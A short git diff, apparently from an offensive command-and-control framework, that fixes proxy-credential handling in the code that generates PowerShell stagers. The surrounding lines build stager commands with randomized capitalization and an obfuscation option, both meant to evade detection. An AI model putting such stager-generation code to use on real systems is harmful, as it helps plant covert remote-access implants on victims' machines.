Patch for #907
parent
9a3df6d8c5
commit
66050064fd
|
@ -3012,6 +3012,7 @@ class ListenersMenu(SubMenu):
|
|||
stager.options['Language']['Value'] = language
|
||||
stager.options['Base64']['Value'] = "True"
|
||||
stager.options['Proxy']['Value'] = listenerOptions['options']['Proxy']['Value']
|
||||
stager.options['ProxyCreds']['Value'] = listenerOptions['options']['ProxyCreds']['Value']
|
||||
if self.mainMenu.obfuscate:
|
||||
stager.options['Obfuscate']['Value'] = "True"
|
||||
else:
|
||||
|
|
|
@ -329,7 +329,9 @@ class Listener:
|
|||
stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
|
||||
else:
|
||||
# TODO: implement form for other proxy
|
||||
stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('"+ proxy.lower() +"');")
|
||||
stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('")
|
||||
stager += proxy.lower()
|
||||
stager += helpers.randomize_capitalization("');")
|
||||
stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
|
||||
if proxyCreds.lower() != 'none':
|
||||
if proxyCreds.lower() == "default":
|
||||
|
|
Loading…
Reference in New Issue